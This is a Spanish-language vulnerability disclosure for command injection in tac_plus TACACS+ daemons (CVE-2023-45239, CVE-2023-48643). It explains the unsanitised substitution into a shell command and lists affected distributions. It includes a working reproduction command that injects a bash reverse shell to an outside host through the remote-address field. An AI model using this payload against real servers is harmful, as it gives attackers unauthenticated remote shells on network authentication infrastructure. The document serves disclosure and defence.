
Vulnerabilidad de Ejecución Remota de Comandos Pre-Auth en tac_plus (CVE-2023-45239 y CVE-2023-48643)
Este repositorio contiene información sobre una vulnerabilidad de ejecución remota de comandos sin autenticación previa en diferentes implementaciones de código abierto de tac_plus. Las siguientes dos bifurcaciones (forks) se ven afectadas:
Sin embargo, ambas bifurcaciones se basan en un kit de desarrollo de Cisco para TACACS+ que se publicó como código abierto hace más de 16 años. La vulnerabilidad ya existía en el kit de desarrollo y fue heredada por ambos proyectos. Cabe señalar que esta investigación solo se centró en las dos bifurcaciones mencionadas anteriormente; es posible que haya otras bifurcaciones afectadas.
El siguiente gráfico muestra la relación entre las bifurcaciones; todas están afectadas:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
No se ha encontrado ninguna fuente oficial del kit de desarrollo de Cisco y ya no recibe mantenimiento.
El siguiente ejemplo hace referencia al código del repositorio facebook/tac_plus porque está disponible en GitHub (el kit de desarrollo de Cisco y la bifurcación de Shrubbery Networks son solo tarballs). Sin embargo, el código afectado es el mismo en todos los proyectos.
Cuando llega un paquete, se llama a la función start_session() para determinar el tipo de paquete entrante (autenticación, autorización o contabilidad). Nos centramos en los paquetes de autorización que son manejados por author() → do_author(), que a su vez llama a pre_authorization(). Esta función verifica si el nombre de usuario del paquete TACACAS+ tiene un comando before authorization configurado y lo ejecuta mediante call_pre_process(). El siguiente archivo de configuración (tac_plus.conf) muestra un usuario con un comando before authorization configurado:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Esta función toma el comando configurado en before authorization y sustituye las variables (p. ej., $user, $name o $address) con valores del paquete TACACAS+ entrante. Sin embargo, esto se hace sin ninguna validación ni saneamiento de la entrada.
La cadena de comando resultante se pasa a my_popen(), que ejecuta la cadena de comando en la siguiente llamada a execl():
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Esto permite inyectar comandos adicionales a través del campo de dirección remota en los paquetes TACACS+ (consulte rem_addr, rem_addr_len en RFC8907). Lo mismo podría funcionar potencialmente con otros campos de entrada.
Cabe señalar que la vulnerabilidad se activa durante el proceso de autenticación. Por lo tanto, no se requiere contraseña, solo un nombre de usuario que exista en la configuración.
La compilación y ejecución de tac_plus con esta configuración se describe en las siguientes secciones:
El siguiente comando ejecuta tacacs_client contra el daemon objetivo con el usuario DEFAULT. El payload que desencadena la vulnerabilidad se encuentra en el campo de dirección remota, que se establece mediante el argumento de línea de comandos --rem-addr:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
Al ejecutarlo se obtendrá una conexión de shell inversa a 192.168.1.18:1337. El nombre de usuario debe ser uno de los usuarios que tengan una directiva before authorization o after authorization configurada en tac_plus.cfg. La lista de comandos final (-c service=exec) es necesaria para alcanzar la ruta de código requerida, pero el valor no importa.
El paquete TACACS+ enviado por el cliente se muestra en la siguiente captura de pantalla de Wireshark:

La siguiente captura de pantalla muestra una sesión de depuración justo antes de que se ejecute el comando inyectado:

Varias distribuciones de Linux utilizan una de las dos bifurcaciones afectadas en sus paquetes oficiales (principalmente la bifurcación de Shrubbery Networks). Las siguientes tablas muestran las distribuciones de Linux y los derivados de BSD que utilizan la bifurcación de Shrubbery Networks o la de Facebook en el momento de redactar este documento. La lista no es exhaustiva; es muy probable que otras distribuciones/derivados también estén afectados.
| Distribución | Paquete | Bifurcación |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Derivado | Puerto | Bifurcación |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Hay ejemplos de cómo reproducir este problema en las siguientes secciones: